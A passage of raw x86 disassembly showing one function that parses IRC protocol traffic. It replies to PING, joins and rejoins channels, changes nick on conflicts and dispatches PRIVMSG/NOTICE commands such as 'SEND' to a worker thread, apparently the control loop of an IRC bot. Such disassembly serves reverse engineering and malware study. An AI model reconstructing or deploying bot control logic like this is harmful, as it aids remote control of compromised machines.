var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416563
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
